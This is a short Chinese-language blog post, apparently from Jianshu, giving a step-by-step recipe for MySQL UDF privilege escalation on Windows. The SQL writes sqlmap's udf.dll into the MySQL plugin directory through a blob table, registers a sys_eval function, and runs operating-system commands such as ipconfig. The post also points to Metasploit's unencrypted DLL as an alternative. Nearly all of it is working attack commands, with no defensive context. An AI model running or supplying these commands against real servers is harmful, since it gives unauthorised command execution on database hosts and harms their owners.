udf提权

udf.dll来自于sqlmap\data\udf\mysql\windows\32中(32位)
先将udf.dll转换为16进制写到a.txt中:

select hex(load_file('D:\\udf.dll')) into dumpfile 'D:\\a.txt';

创建一个tmp表并写入a.txt中的解码后的内容:

create table tmp (c blob);
insert into tmp values(unhex('udf.dll 16进制code'))

将表中的内容导出在mysql的插件目录中并删除tmp表:

select c from tmp into dumpfile 'D:\\wamp\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\udf.dll';
drop table tmp;

关于插件目录的问题参考文档:https://paper.404sec.com/7815.html

创建函数:

create function sys_eval returns string soname 'udf.dll';

查看有哪些函数:

 select * from mysql.func;

调用函数:

select sys_eval('ipconfig');

删除函数:

drop function sys_eval;

注意,sqlmap提供的ddl文件是加密的,需要进行解密再使用,参考:https://www.cnblogs.com/sheng-xia/articles/14628574.html
或者直接使用metasploit中的ddl文件,这里面的是不需要解密的,参考https://www.sqlsec.com/2020/11/mysql.html

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容